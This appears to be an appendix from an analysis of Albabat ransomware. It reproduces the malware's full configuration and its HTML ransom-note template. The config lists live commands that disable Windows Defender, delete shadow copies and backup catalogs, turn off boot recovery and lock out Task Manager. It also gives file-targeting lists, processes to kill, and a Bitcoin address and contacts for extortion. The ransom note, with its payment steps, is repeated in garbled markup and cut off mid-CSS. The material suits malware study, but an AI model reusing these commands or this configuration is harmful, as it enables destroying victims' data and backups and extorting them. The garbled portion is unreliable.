			"default": "postgres://postgres.<username>:<password>@aws-0-us-west-1.pooler.supabase.com:5432/postgres",
			"test": "postgres://postgres:postgres@localhost:5432/postgres"
		},
		"schema": "abbt",
		"tbl_name": "info",
		"view_name": "info_view"
	},
	"crypto": {
		"opts": {
			"transaction_db": true,
			"everything": true,
			"simulation": false,
			"hidden": false,
			"custom_icon": true,
			"db": true,
			"delay": {
				"enable": true,
				"timer": 3
			},
			"kill": {
				"process": true,
				"services": true
			},
			"note": {
				"open": true,
				"type": "html",
				"replicate": {
					"is_link": true,
					"recursive": false
				}
			},
			"wallpaper": true,
			"disapper": true
		},
		"pubkey": "-----BEGIN RSA PUBLIC KEY-----\nMIIBCgKCAQEA15+svGAphncDU6byNM2Pk/Iw/bb7LtNHMiL/SBM8ztr4eV1T+LNP\nZqrHbBbj11eVVvbxEILy44w7hi94YALZmGXPaS2Lkg2+j/tZ9LRDHfqaoMiqBVyw\nLEKUnifyB3/nzxzFFXuN2gkgqr9i8sgVuv4UiYTgooGff4xFJcRzFp5qP754Pfhz\n5EDlTk//nrHnvnpZOlXNKbCesMFg/hci74fe/Gq0+Qn4N5O/HGT57Pzt3Y7pp79F\nTmnS6Cy7Lh3K38Y8t6W3BI3K9ePdCitJZpz9BaqKbb4aDPfAamIkVND8u/XEMVUp\nvtsUQIwwEQjFLCpn6atqoSnjZkgK1rklKwIDAQAB\n-----END RSA PUBLIC KEY-----",
    "limit_size": 5242880,
		"ignores": {
			"folders": [
				"Searches/", "AppData/", "$RECYCLE.BIN/", "System Volume Information/", "windows.old/",
				"steamapps/", "perflogs/", "ansel/", "tmp/", "node_modules/", "cache/", "vendor/", "target/",
				"Mozilla/", "venv/", "env/", "Chrome/", "google-chrome/", "pypoetry/", "vimfiles/", "viminfo/",
				"site-packages/", "scoop/", "go/", "temp/"
			],
			"ext": [
				"~$", ".src", ".ico", ".cur", ".theme", ".themepack", ".bat", ".com", ".cmd", ".cpl", ".prf",
				".icls", ".idx", ".mod", ".pyd", ".vhdx", "._pth", ".hta", ".mp3", ".CHK", ".pickle", ".pif",
				".url", ".ogg", ".tmp", ".dat", ".exe", ".lnk", ".win", ".vscdb", ".bin", ".cab", ".inf",
				".lib", ".tcl", ".cat", ".so", ".msi", ".vpk", ".vc", ".cur", ".ini", ".bik", ".sfx", ".xnb",
				".ttf", ".otf", ".woff", ".woff2", ".vfont", ".resource", ".N2PK", ".log", ".pkg", ".desktop",
				".dll", ".pkr", ".arc", ".sig", ".bk2", ".arz", ".swf", ".qt", ".wma", ".mp2", ".vdf", ".pdb",
				".nfo", ".whl", ".mui", ".srm", ".smc", ".dic", ".lock", ".pyc", ".TAG", ".locale", ".store",
				".sdi", ".library-ms", ".acf", ".po", ".mo"
			],
			"files": ["ntuser.dat", "ntuser.ini", "iconcache.db", "Thumbs.db", ".DS_Store"]
		},
    "paths": {
			"windows": {
				"simulation": "C:\\Users\\admin\\simulation",
				"db": [
					"C:\\Program Files\\MySQL\\MySQL Workbench*\\data",
					"C:\\ProgramData\\MySQL\\MySQL Server*\\Data",
					"C:\\Program Files\\PostgreSQL\\*\\data"
				],
				"generic": [
					"A:\\", "B:\\", "D:\\", "E:\\", "F:\\", "G:\\", "I:\\", "J:\\", "X:\\", "Z:\\",
					"C:\\Users\\Public"
				],
				"note": {
					"replicate": [
						"Documents", "Images", "Pictures", "Desktop", "Downloads", "A:\\", "B:\\", "D:\\",
						"E:\\", "F:\\", "G:\\", "I:\\", "J:\\", "X:\\", "Z:\\", "C:\\Users\\Public"]
				}
			},
			"linux": {
				"simulation": "/home/archlinux/simulation",
				"db": [],
				"generic": [],
				"note": {
					"replicate": ["Documents", "Images", "Pictures", "Desktop", "Downloads"]
				}
			}
    },
		"kill": {
			"process": {
				"windows": ["taskmgr.exe", "processhacker.exe",	"regedit.exe", "code.exe", "excel.exe",
				"powerpnt.exe",	"winword.exe", "msaccess.exe", "mspub.exe", "msedge.exe", "virtualboxvm.exe",
				"virtualbox.exe", "chrome.exe", "cs2.exe", "steam.exe", "postgres.exe",	"mysqlworkbench.exe",
				"outlook.exe", "mysqld.exe", "windowsterminal.exe", "powershell.exe",	"cmd.exe",
				"sublime_text.exe",	"microsoft.photos.exe",	"photosapp.exe"
				],
				"linux": ["code", "chmore"]
			},
			"services": {
				"windows": ["VBoxSDS"]
			}
		},
		"cache": {
			"windows": {
				"filepath": "AppData\\Roaming\\Microsoft\\Protect\\control.json"
			},
			"linux": {
				"filepath": ".local/control.json"
			}
		}
  },
	"root": {
		"filename": {
			"log": "Logger.log",
			"key": "KEY.key",
			"note": "README",
			"wallpaper": "Wallpaper.jpg",
			"pin": "PIN.txt",
			"icon": "ICON.ico"
		}
	},
	"info": {
    "name": "Albabat",
    "version": "2.0.0",
    "author": "tH3_CyberXY",
    "email": "albabat@mail2tor.com",
    "tox": "05d103331ac293b1a0d3984b96a8435d46a5c01bc253307a9ccd75503aa9961a16",
    "demo_video": "https://www.dailymotion.com/embed/video/x8t67y8?autoplay=0",
    "btc": "bc1qqkan2w5cfflx3fm7lhtu9cwafcd4xt8qs26p8c",
    "amount": "0,0018",
		"decryptor_name": "Decryptor",
		"search_folder": "Search_Albabat",
    "copyright": "Copyright (c) 2023-2025"
  },
  "messages": {
    "fail": "It appears that your antivirus is blocking the process. Disable all your antivirus, real-time protection and file and folder protection functions.",
    "wallpaper": {
      "title":  {
		  "en": "files on your machine have been encrypted!",
		  "pt": "arquivos em sua máquina foram criptografados!",
		  "es": "archivos en su máquina fueron cifrado!",
		  "fr": "fichiers sur votre machine ont été cryptés!",
		  "ru": "файлов на вашем компьютере зашифрованы!"
	  },
      "subtitle": {
		  "en": "To find out more details about what happened and rescue your files, read the file:",
		  "pt": "Para saber mais detalhes sobre o que aconteceu e resgatar seus arquivos, leia o arquivo:",
		  "es": "Para conocer más detalles sobre lo sucedido y rescatar tus archivos, lee el archivo:",
		  "fr": "Pour en savoir plus sur ce qui s'est passé et récupérer vos fichiers, lisez le fichier:",
		  "ru": "Чтобы узнать больше подробностей о произошедшем и спасти свои файлы, прочитайте файл:"
	  }
    },
		"note": {
			"old_title": "Some of your files have been encrypted!",
			"new_title": "files on your machine have been encrypted!"
		}
  },
	"commands": {
		"windows": {
			"windef": [
				"Set-MpPreference -DisableRealtimeMonitoring $true",
				"Set-MpPreference -SubmitSamplesConsent 0",
				"Set-MpPreference -DisableAutoExclusions $true",
				"Set-MpPreference -EnableControlledFolderAccess 0",
				"Set-MpPreference -MAPSReporting Disabled"
			],
			"shadows": "vssadmin Delete Shadows /All /Quiet",
			"catalog": "wbadmin delete catalog -quiet",
			"ignoreallfailures": "bcdedit /set {default} bootstatuspolicy ignoreallfailures",
			"recoveryenabled": "bcdedit /set {default} recoveryenabled no",
			"lock": {
				"prompt": {
					"subkey": "Software\\Policies\\Microsoft\\Windows\\System",
					"value": "DisableCMD"
				},
				"taskbar": "REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v DisableTaskMgr /t REG_DWORD /d 1 /f"
			},
			"unlock": {
				"prompt": {
					"subkey": "Software\\Policies\\Microsoft\\Windows\\System",
					"value": "DisableCMD"
				},
				"taskbar": "REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v DisableTaskMgr /t REG_DWORD /d 0 /f"
			},
			"hardware_info": {
				"os": "wmic os get caption",
				"av": "wmic /namespace:\\\\root\\SecurityCenter2 path AntiVirusProduct get displayName",
				"motherboard": "wmic csproduct get name",
				"cpu": "wmic cpu get name",
				"mac": "wmic nic where NetEnabled=true get MACAddress"
			}
		},
		"linux": {
			"hardware_info": {
				"os": "grep '^PRETTY_NAME=' /etc/os-release | cut -d'\"' -f2",
				"av": "echo This is Linux. No antivirus",
				"motherboard": "cat /sys/devices/virtual/dmi/id/board_name",
				"cpu": "grep -i \"model name\" /proc/cpuinfo | head -n 1 | cut -d: -f2",
				"mac": "ip link show | grep -i \"link/ether\" | awk '{print $2}' | head -n 1"
			}
		},
		"macos": {
			"hardware_info": {
				"os": "echo \"$(sw_vers -productName) $(sw_vers -productVersion)\"",
				"av": "echo This is macOS. No antivirus",
				"motherboard": "echo None",
				"cpu": "sysctl -n machdep.cpu.brand_string",
				"mac": "ifconfig en0 | grep \"ether\" | awk '{print $2}'"
			}
		}
	}
}

Appendix 2 - Ransom Note Template

< !DOCTYPE html > < html lang = "en" > < head > < meta charset = "UTF-8" > < meta http - equiv = "X-UA-Compatible" content = "IE=edge" > < meta name = "viewport" content = "width=device-width,initial-scale=1" > < title > %[name]% Ransomware < /title><style>.btn_default,html body .header .nav-default__btn,html body .header .nav-default__btn-translator{color:#fff;background-color:#000;width:100%;border:1px solid #fff;text-align:center;text-decoration:none;cursor:pointer;font-weight:600;padding:3px}.links{color:#006eff;font-weight:600}.tbl .btn_copy,.transitions,html body .main .container .tab-contents #home .nav-home a,html body .main .container .tab-contents .content .infos .tbl .btn_copy{-moz-transition:all .2s ease-in;-o-transition:all .2s ease-in;-webkit-transition:all .2s ease-in;transition:all .2s ease-in}.tbl,html body .main .container .tab-contents .content .infos .tbl{border-radius:0;border:5px solid #fff;padding:2px;font-size:25px;text-align:center;margin:50px 0;max-width:980px;width:980px}.tbl #ext,.tbl #pin{color:#4ee04e}.tbl_inner{border:2px solid #fff}.tbl .btn_copy,html body .main .container .tab-contents .content .infos .tbl .btn_copy{width:60px;height:30px;background-color:#09f;border-radius:2px;font-weight:600;color:#000;border:1px solid #0064a7;cursor:pointer}.tbl .btn_copy:active,.tbl .btn_copy:hover,html body .main .container .tab-contents .content .infos .tbl .btn_copy:active,html body .main .container .tab-contents .content .infos .tbl .btn_copy:hover{text-decoration:none;opacity:.8;color:#fff}.tbl_pin__btn{min-width:50px}.tbl_contact_messenger__id{font-size:18px;color:#4ee04e}.tbl_contact_messenger__title{text-align:justify;padding-left:15px}.tbl_payment__btc{font-size:20px;color:#4ee04e}.tbl_payment__amount{color:#ff2f2f;font-size:40px}.tbl_message__content,.tbl_message__title,html body pre{padding:0 20px;text-align:left}html{scroll-behavior:smooth}html body{font-family:monospace;color:#fff;background-color:#000;margin:0;padding:0}html body details{margin:5px 0}html body summary{background-color:#fff;color:#000;font-weight:600;font-size:18px;width:100%;cursor:pointer;padding:10px 10px 12px}html body #google_translate_element,html body .main .container .tab-contents .content{display:none}html body pre{background-color:#202020;padding:1px 15px;border-left:2px solid #fff}html body .container{width:980px;font-size:17px;margin:0 auto 40px}html body .header .nav-default{display:flex;background-color:#000;padding:0 0 20px;text-align:center;position:fixed;width:980px;top:0;transition:padding .5s ease}html body .header .nav-default__btn.active{background-color:#c7c7c7;color:#000}html body .header .nav-default__btn:focus,html body .header .nav-default__btn:hover{background-color:#fff;color:#000}html body .header .nav-default__btn-translator:hover{background-color:#fff;color:#000}html body .header .slogan{text-align:center;margin-top:25px}html body .header .slogan img,html body .header .slogan svg{width:800px;height:600px}html body .main .container .tab-contents .content.show{display:flex;background-color:#000;border-radius:0 0 8px 8px;color:#fff}html body .main .container .tab-contents .content .infos .row{display:flex;flex-wrap:wrap;margin-right:-15px;margin-left:-15px}html body .main .container .tab-contents .content .infos .row:after{clear:both}html body .main .container .tab-contents .content .infos .title{padding-top:100px;color:#0cf}html body .main .container .tab-contents .content .infos .highlighter{color:#e3fd4e;font-style:normal}html body .main .container .tab-contents #faq .infos h2,html body .main .container .tab-contents .content .infos .subtitle{padding:15px 0}html body .main .container .tab-contents .content .infos .subtitle .arrow-right{color:#0cf}html body .main .container .tab-contents .content .infos .steps_numbers{color:#09f;font-size:25px}html body .main .container .tab-contents #home .nav-home{text-align:center;padding:10px 0;width:980px;position:fixed;top:35px;background-color:#2c2c2c;border:1px solid #fff;margin:0;transition:margin-top .5s ease}html body .main .container .tab-contents #home .nav-home a{color:#fff;padding:0 5px;text-decoration:underline}html body .main .container .tab-contents #home .nav-home a:hover{text-decoration:none}html body .main .container .tab-contents #home .infos .version{justify-content:flex-end}html body .main .container .tab-contents #home .infos .version h4{width:200px;text-align:center;background-color:#fff;color:#000;padding:3px;float:right;margin-top:-120px}html body .main .container .tab-contents #home .infos .message{text-align:center}html body .main .container .tab-contents #home .infos .message h1{color:#ff2f2f}html body .main .container .tab-contents #home .ticket__recommended{margin-left:5px;background-color:#fff;color:#000;max-width:120px;text-align:center;padding:7px;margin-bottom:-50px;font-weight:600}html body .main .container .tab-contents #faq .infos .title{margin-top:-50px;padding-top:0;margin-bottom:100px}html body .main .container .tab-contents #credits .infos{text-align:center;width:400px;margin:0 auto}html body .main .container .tab-contents #credits .infos .title{margin-bottom:100px}html body .main .container .tab-contents #credits .infos .lst_devs{text-align:center;list-style-type:none;padding:0}html body .main .container .tab-contents #credits .infos .lst_devs li{text-decoration:none;background-color:#fff;color:#000;font-weight:600;padding:4px;margin:3px 0}html body .footer .text{font-weight:600;padding:8px 0;text-align:center;background-color:#fff;color:#000}html body .footer .text__team{color:#fd3370;font-style:normal}</style > < /head><body><div id="google_translate_element" class="boxTradutor"></div > < div class = "header" > < div class = "container" > < nav class = "nav-default" > < button class = "nav-default__btn active" content - id = "home" > Home < /button> <button class="nav-default__btn" content-id="faq">FAQ</button > < button class = "nav-default__btn" content - id = "credits" > Credits < /button> <button id="btn-translator" class="nav-default__btn-translator" onclick="changeLang('pt')">Translator</button > < /nav><div class="slogan"><svg xmlns="http://www.w3.org/2000/svg" width="976" height="600" viewBox="0 0 258.233 158.75"><path style="fill:#000;fill-opacity:1;stroke-width:.27396724" d="M0 138.25h258.233V297H0z" transform="translate(0 -138.25)"/ > < path style = "display:inline;fill:#fff;fill-opacity:.99176953;stroke:#000;stroke-width:.26458332px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1" d = "M97.925 61.408h-2.929v-1.701h2.835v-5.859h6.52v7.37h3.685v-7.464h6.331v6.33h2.835v1.513h-2.74v4.536h2.835v1.89h-2.835v3.212h22.647v-6.492h12.361v-6.281h17.84v1.47h17.173v1.67H167.31v3.208h7.216v1.336h18.308v1.67h-18.442v3.274h5.212v.87h13.23v1.603h-13.163v4.41h17.172v1.603h-31.805v4.21h31.738v1.67h-32.072l.126.47h-21.775v3.873h37.35v1.47H143.19v1.003h-19.11v3.532h30.022v1.606h-30.049v1.087h-9.875v3.213h14.694v1.653h-14.694v4.489h14.789v1.653H114.13v1.607h-4.724v2.504h7.134v1.606h-7.134v4.347h6.85v1.843H95.516v-1.749h7.465v-4.44h-7.323v-1.654h7.276v-2.457h-4.678v-1.701H82.948v-1.607h15.355v-4.488H83.137v-1.56h15.166v-3.779h-9.969v-.709H60.648V95.71h27.78v-3.874h-19.04v-.567H33.15v-1.606h36.238v-4.158H47.655l-.078-.288h-30.94v-1.564h30.87v-4.276H16.838v-1.537h16.237v-4.544H21.047v-1.47h12.228v-1.069h4.744v-3.14H21.047v-1.537H38.02v-1.47h7.15v-3.408H29.533v-1.603h15.702v-1.804h18.242v7.016H75.17v6.28h22.65c0-1.225.012-.703.012-3.32l-2.951-.024v-1.8h3.073z" transform = "matrix(1.0309 0 0 .88657 17.647 -21.051)"/><path style="fill:#fff;fill-opacity:1;stroke:#000;stroke-width:.26458332px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1" d="M95.613 125.64v1.511h20.694v-1.465zM101.566 131.64v1.559h8.552v-1.512zM101.652 137.47v1.56h8.552v-1.512z" transform="matrix(1.0309 0 0 .88657 17.647 -21.051)"/ > < text y = "264.296" x = "75.923" style = "font-style:normal;font-variant:normal;font-weight:400;font-stretch:normal;font-size:10.58333302px;line-height:1.25;font-family:monospace;letter-spacing:0;word-spacing:0;fill:#000;fill-opacity:1;stroke:none;stroke-width:.26458332" xml:space = "preserve" transform = "translate(0 -138.25)" > < tspan style = "font-style:normal;font-variant:normal;font-weight:400;font-stretch:normal;font-size:25.39999962px;font-family:monospace;fill:#fff;fill-opacity:1;stroke-width:.26458332" y = "264.296" x = "75.923" > Albabat < /tspan></text > < text y = "270.729" x = "106.106" style = "font-style:normal;font-weight:400;font-size:10.58333302px;line-height:1.25;font-family:sans-serif;letter-spacing:0;word-spacing:0;fill:#000;fill-opacity:1;stroke:none;stroke-width:.26458332" xml:space = "preserve" transform = "translate(0 -138.25)" > < tspan style = "font-style:normal;font-variant:normal;font-weight:400;font-stretch:normal;font-size:7.05555534px;font-family:monospace;-inkscape-font-specification:monospace;fill:#fff;fill-opacity:1;stroke-width:.26458332" y = "270.729" x = "106.106" > Ransomware < /tspan></text > < text y = "251.265" x = "178.405" style = "font-style:normal;font-weight:400;font-size:10.58333302px;line-height:1.25;font-family:sans-serif;letter-spacing:0;word-spacing:0;fill:#000;fill-opacity:1;stroke:none;stroke-width:.26458332" xml:space = "preserve" transform = "translate(0 -138.25)" > < tspan style = "font-size:4.23333311px;fill:#fff;fill-opacity:1;stroke-width:.26458332" y = "251.265" x = "178.405" > © < /tspan></text > < text y = "167.125" x = "205.284" style = "font-style:normal;font-weight:400;font-size:10.58333302px;line-height:1.25;font-family:sans-serif;letter-spacing:0;word-spacing:0;fill:#000;fill-opacity:1;stroke:none;stroke-width:.26458332" xml:space = "preserve" transform = "translate(0 -138.25)" > < tspan style = "font-size:4.23333311px;fill:#fff;fill-opacity:1;stroke-width:.26458332" y = "167.125" x = "205.284" > © < /tspan></text > < /svg></div > < /div></div > < div class = "main" > < div class = "container" > < div class = "tab-contents" > < div class = "content" id = "home" > < nav class = "nav-home" > < a href = "%[top]%" > Top < /a> | <a href="%[menu_about]%">About</a > | < a href = "%[menu_contact]%" > Contact < /a> | <a href="%[menu_payment]%">Payment</a > | < a href = "%[menu_decryption]%" > Decryption < /a></nav > < div class = "infos" > < div class = "row1 version" > < h4 class = "float-right" > version: %[version]% < /h4></div > < div class = "row1 message" > < h1 > Some of your files have been encrypted! < /h1></div > < table class = "tbl" > < tr > < td class = "tbl_inner" > < p > Your PIN: < /p></td > < td class = "tbl_inner" > < span id = "pin" > %[pin]% < /span></td > < td class = "tbl_inner" > < p > < button class = "btn_copy" type = "button" onclick = "CopyText('pin')" > Copy < /button></p > < /td></tr > < tr > < td class = "tbl_inner tbl_pin__title" > Encryption extension: < /td><td class="tbl_inner tbl_pin__title"><span id="ext">%[ext]%</span > < /td><td class="tbl_inner tbl_pin__title"><p><button class="btn_copy" type="button" onclick="CopyText('ext')">Copy</button > < /p></td > < /tr></table > < p > < /p><h2>::> How important are your files to you?</h2 > < p > Read this document for information on what happened and how to recover your files again. < /p><p>We know that this note contains extensive information, but it is recommended that you read everything to be up to date with our terms and thus be able to contact us in the most pragmatic way possible.</p > < p > < /p><h2 id="menu_about" class="title">[+] 1 - ABOUT "%[name]% Ransomware" [+]</h2 > < p > Hello! We are %[name]%, a team that has been developing ransomware since 2023. Yes, we are new to the market, but ambitious and experienced. < /p><p>The "%[name]% Ransomware" is a cross-platform that encrypts multiple important USER files on the computer's storage device using a symmetric encryption algorithm with military-grade identification.</p><p>The "%[name]% Ransomware" will automatically create a folder in your user directory, on your machine, but precisely at: "<i class="highlighter">%[root_path]%</i>".</p><p>IT IS RECOMMENDED to make a BACKUP of "<i class="highlighter">%[readme_html]%</i>" in this folder, as <i class="highlighter">%[readme_html]%</i> contains your PIN, which is important for future contact to recover your files. The PIN will be explained later in the <u>Your PIN</u> section.</p><p>This folder "<i class="highlighter">%[root_path]%</i>" contains the following files:</p><ul><li><i class="highlighter">%[readme_html]%</i> (This same file)</li><li><i class="highlighter">%[log_name]%</i></li><li><i class="highlighter">%[pin_filename]%</i></li><li><i class="highlighter">%[wpp_filename]%</i></li></ul><h3 class="subtitle"><i class="arrow-right">>></i> 1.1 - THE KEY TO CRYPTOGRAPHY</h3><p>Your files have been encrypted with a KEY that has been stored in our <i class="highlighter">database</i>. Which means that only we have access in the key. There is no way to decrypt your files without having this key on hand.</p><p>We store your key in our database so that you don't lose it and/or some software deletes it. We always evolve with your files in mind, for possible future agreements to recover your files. This is not only a guarantee for us, but also a guarantee for you. < /p><p>The encryption key is unique for each encryption, so there will be no point in using other keys if someone shares it over the internet.</p > < p > If you have any doubts about whether we really have the key, you can read the FAQ page, there will be a section where we will explain this question. < /p><h3 class="subtitle"><i class="arrow-right">>></i > 1.2  -  Your PIN < /h3><p><i class="highlighter">DON'T LOSE YOUR PIN!!!</i> It is important for identifying your key and in the process of decrypting your files. Your <i class="highlighter">PIN</i> is also in our database.</p><p>It is through your <i class="highlighter">PIN</i> that we are able to enter into a prodigious agreement.</p><p>Your <i class="highlighter">PIN</i>, along with the encryption key, will be used in the decryptor, which will be discussed later in the "<u>DECRYPTION PROCESS</u>" section.</p><p>Yhe <i class="highlighter">PIN</i> maintains a unique identity in your machine's encryption process, that is, there will not be two or more identical PINs.</p > < p > In addition to being informed in this document, your < i class = "highlighter" > PIN < /i> will also be printed for security in "<i class="highlighter">%[pin_filename]%</i>".</p > < p > < i class = "highlighter" > WE STRENGTHEN, DON’T LOSE YOUR PIN !!! < /i></p > < h3 class = "subtitle" > < i class = "arrow-right" >  >  > < /i> 1.3 - THE ENCRYPTION PROCESS</h3 > < p > Encrypted files have the extension "<i class="highlighter">%[ext]%</i>". < /p><p>Just like encryption <i class="highlighter">key</i > and your < i class = "highlighter" > PIN < /i>, this extension is also important in the decryption process. These 3 (three) elements are responsible for triggering the decryption process of your files.</p > < p > With each encryption process, this extension changes. We no longer have the fixed extension ( < strong > .abbt < /strong>) in our ransomware. This was an extension of Beta versions.</p > < p > Do not try to rename the extension to open your files. On the contrary, you may corrupt your files. < /p><p>The size of the files that the "%[name]% Ransomware" encrypts is a maximum of <i class="highlighter">%[limit_size]% Megabytes (MB)</i > . < /p><p>The "%[name]% Ransomware" randomly recursively traverses all directories it does not belong to the operation of the Operating System. Encrypts files in the user directory, even database locations and drives mounted on the machine if any.</p > < p > The "%[name]% Ransomware" only encrypts files that are relevant. The operating system, binary files and certain program files will be intact. We didn't choose that.</p><p>The "%[name]% Ransomware" saves a log file named "<i class="highlighter">%[log_name]%</i>" in the "<i class="highlighter">%[root_path]%</i>" directory. This file you can see all files that were encrypted by "%[name]% Ransomware" in path form.</p><h2 class="title" id="menu_contact">[+] 2 - HOW TO CONTACT [+]</h2><p>We currently use <a class="links" href="https://getsession.org/" target="_blank"><span>Session</span></a> (<a class="links" href="https://getsession.org/" target="_blank">https://getsession.org</a>) as our main contact and chat tool for long and instant discussions with clients. We also have an email address for contact, but we do not guarantee permanence in the same, as we may be silenced and/or our email may be blocked by the provider itself, so contacting us via <a class="links" href="https://getsession.org/" target="_blank">Session</a> will always guarantee that you will receive our responses.</p><p>However, the choice of how to contact us is primarily yours.</p><div class="ticket__recommended">Recommended!</div><table class="tbl tbl_contact_messenger"><tr><td class="tbl_inner tbl_contact_messenger__title"><p translate="no">"Session" ID:</p></td><td class="tbl_inner"></td></tr><tr><td class="tbl_inner tbl_contact_messenger__content"><div class="tbl_contact_messenger__id"><span id="messenger_id">%[tox_id]%</span></div></td><td class="tbl_inner tbl_contact__btn_messenger"><p><button class="btn_copy" type="button" onclick="CopyText('messenger_id')">Copy</button></p></td></tr></table><p>To contact us via <span class="highlighter">Session</span>, do:</p><p><i class="highlighter">(1) </i>Access the <span class="highlighter" translate="no">"Session"</span> messenger on the page <a class="links" href="https://getsession.org/" target="_blank">https://getsession.org</a> and install it.</p><p><i class="highlighter">(2) </i>Open your messenger <span class="highlighter" translate="no">"Session"</span> and add us using our ID above. above.</p><table class="tbl tbl_contact"><tr><td class="tbl_inner tbl_contact__title"><p>Email:</p></td><td class="tbl_inner tbl_contact__email"><p><a class="mail links" href="mailto:%[author_email]%"><span id="mail">%[author_email]%</span></a></p></td><td class="tbl_inner tbl_contact__btn"><p><button class="btn_copy" type="button" onclick="CopyText('mail')">Copy</button></p></td></tr></table><p style="margin-top: 40px;"></p><blockquote>NOTE 1: These are the only ways to get in touch to recover your files. Any other form found on the internet will be fake.</blockquote><p></p><p></p><blockquote>NOTE 2: Regardless of the contact method you choose, contact us ONLY if you have made payment. Because all doubts, or the vast majority, we clarify in this document to save ours and your time.</blockquote><p></p><h2 class="title" id="menu_payment">[+] 3 - PAYMENT [+]</h2><p>The decryption process is PAID in <i class="highlighter">Bitcoin</i>, so you need to have a Bitcoin balance on a cryptocurrency exchange or in a cryptocurrency wallet to make the deposit.</p><p>You may want to read the FAQ page to know what Bitcoin is.</p><p>Payment data:</p><table class="tbl tbl_payment"><tr><td class="tbl_inner"><p>Bitcoin address:</p></td><td class="tbl_inner"><p><span id="address_btc" class="tbl_payment__btc">%[address_btc]%</span></p></td><td class="tbl_inner tbl_payment__btn"><p><button class="btn_copy" type="button" onclick="CopyText('address_btc')">Copy</button></p></td></tr><tr><td class="tbl_inner"><p>Amount to pay:</p></td><td class="tbl_inner tbl_payment__amount"><p><span id="amount_btc">%[amount]%</span>&nbsp;BTC</p></td><td class="tbl_inner"><p><button class="btn_copy" type="button" onclick="CopyText('amount_btc')">Copy</button></p></td></tr></table><p>- To make payment and restore your files, follow these steps -</p><p><span class="steps_numbers">(1)</span> - Write down the data to make the transfer via the Bitcoin address and the AMOUNT to pay specified above.</p><p></p><blockquote><i class="highlighter">Note:</i> Remembering that the price of Bitcoin may vary monetarily depending on when you make the payment.</blockquote><p></p><p><span class="steps_numbers">(2)</span> - After making the payment to the Bitcoin address above, send a message with a structure similar to this to our messenger <span class="highlighter" translate="no">"Session"</span> (or to our email).</p><table class="tbl tbl_message"><tr><td class="tbl_inner"><p class="tbl_message__title"><i class="highlighter">Subject:</i> %[name]% Ransomware - I did the payment!</p></td></tr><tr><td class="tbl_inner"><p class="tbl_message__content"><span><i class="highlighter">Message:</i></span> Hello, I made the payment. My BTC address where I made the payment is "xxx". The my PIN is: <i class="highlighter">%[pin]%</i>.</p></td></tr></table><p><i class="highlighter">IMPORANT: </i>Payment will be verified using YOUR BTC ADDRESS (“xxx”) that the transaction was made to, so it is IMPORTANT to inform this when contacting us. And remember! Don't try to cheat us by providing a Bitcoin address that has already paid us, as we maintain a database of customers who have already made transactions for us. < /p><p>It is also IMPORTANT that you do not forget to send your <i class="highlighter">PIN</i > . It is through your PIN that we will find your key. The key will be sent to you. < /p><p>You will receive it in your email or via messenger "Session", the KEY "<i class="highlighter">%[key_name]%</i>", and the decryptor "<i class="highlighter">%[decryptor_name]%</i>" attached (zipped).</p > < p > < /p><blockquote>Note: After payment, you will receive the KEY "<i class="highlighter">%[key_name]%</i>" and "<i class="highlighter">%[decryptor_name]%</i>" within 24 hours, but it may vary by more or less depending on my availability times and the number of demands received. Rest assured, we keep our promises!</blockquote > < p > < /p><h2 class="title" id="menu_decryption">[+] 4 - DECRYPTION PROCESS [+]</h2 > < p > To decrypt your files, you will have to use our decryptor that we send to you after you have made the payment. It is very intuitive to use. Follow the steps below on how to use it: < /p><p><span class="steps_numbers">(1)</span >  -  Run < i class = "highlighter" > %[decryptor_name]% < /i> (<i>%[name]% Ransomware Decryptor</i > ). < /p><p><i class="highlighter">Note: </i > If you are on Linux, open a terminal and run from the command line so you can interact with the decryptor. E.g: < i class = "highlighter" > ./decryptor</i > < /p><p></p > < p > < span class = "steps_numbers" > (2) < /span> - After the welcome screen, a menu identical to this one will appear:</p > < pre > < code > [ Load the decryption key ]
[1]  -  Search for the key
[2]  -  Exit
 < !DOCTYPE html>
   < html lang="en">
     < head>
       < meta charset="UTF-8">
         < meta http - equiv="X-UA-Compatible" content="IE=edge">
           < meta name="viewport" content="width=device-width,initial-scale=1">
             < title> %[name]% Ransomware < /title>
                 <style>
                   .btn_default,
                   html body .header .nav-default__btn,
                   html body .header .nav-default__btn-translator {
                     color: #fff;
                     background-color: #000;
                     width: 100%;
                     border: 1px solid #fff;
                     text-align: center;
                     text-decoration: none;
                     cursor: pointer;
                     font-weight: 600;
                     padding: 3px
                   }

                   .links {
                     color: #006eff;
                     font-weight: 600
                   }

                   .tbl .btn_copy,
                   .transitions,
                   html body .main .container .tab-contents #home .nav-home a,
                   html body .main .container .tab-contents .content .infos .tbl .btn_copy {
                     -moz-transition: all .2s ease-in;
                     -o-transition: all .2s ease-in;
                     -webkit-transition: all .2s ease-in;
                     transition: all .2s ease-in
                   }

                   .tbl,
                   html body .main .container .tab-contents .content .infos .tbl {
                     border-radius: 0;
                     border: 5px solid #fff;
                     padding: 2px;
                     font-size: 25px;
                     text-align: center;
                     margin: 50px 0;
                     max-width: 980px;
                     width: 980px
                   }

                   .tbl #ext,
                   .tbl #pin {
                     color: #4ee04e
                   }

                   .tbl_inner {
                     border: 2px solid #fff
                   }

                   .tbl .btn_copy,
                   html body .main .container .tab-contents .content .infos .tbl .btn_copy {
                     width: 60px;
                     height: 30px;
                     background-color: #09f;
                     border-radius: 2px;
                     font-weight: 600;
                     color: #000;
                     border: 1px solid #0064a7;
                     cursor: pointer
                   }

                   .tbl .btn_copy:active,
                   .tbl .btn_copy:hover,
                   html body .main .container .tab-contents .content .infos .tbl .btn_copy:active,
                   html body .main .container .tab-contents .content .infos .tbl .btn_copy:hover {
                     text-decoration: none;
                     opacity: .8;
                     color: #fff
                   }

                   .tbl_pin__btn {
                     min-width: 50px
                   }

                   .tbl_contact_messenger__id {
                     font-size: 18px;
                     color: #4ee04e
                   }

                   .tbl_contact_messenger__title {
                     text-align: justify;
                     padding-left: 15px
                   }

                   .tbl_payment__btc {
                     font-size: 20px;
                     color: #4ee04e
                   }

                   .tbl_payment__amount {
                     color: #ff2f2f;
                     font-size: 40px
                   }

                   .tbl_message__content,
                   .tbl_message__title,
                   html body pre {
                     padding: 0 20px;
                     text-align: left
                   }

                   html {
                     scroll-behavior: smooth
                   }

                   html body {
                     font-family: monospace;
                     color: #fff;
                     background-color: #000;
                     margin: 0;
                     padding: 0
                   }

                   html body details {
